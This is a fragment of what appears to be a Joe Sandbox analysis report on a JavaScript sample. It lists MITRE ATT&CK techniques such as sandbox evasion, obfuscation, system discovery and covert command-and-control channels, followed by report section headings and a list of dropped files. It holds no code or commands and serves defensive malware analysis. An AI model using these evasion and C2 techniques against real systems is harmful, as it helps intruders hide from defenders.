Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 16847122831539518647.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\854fd610-7c59-4b08-8526-970b910ea10b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8df8af63-a86e-4a33-9c39-af991f42cd01.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF48efc0.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6352

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
16847122831539518647.js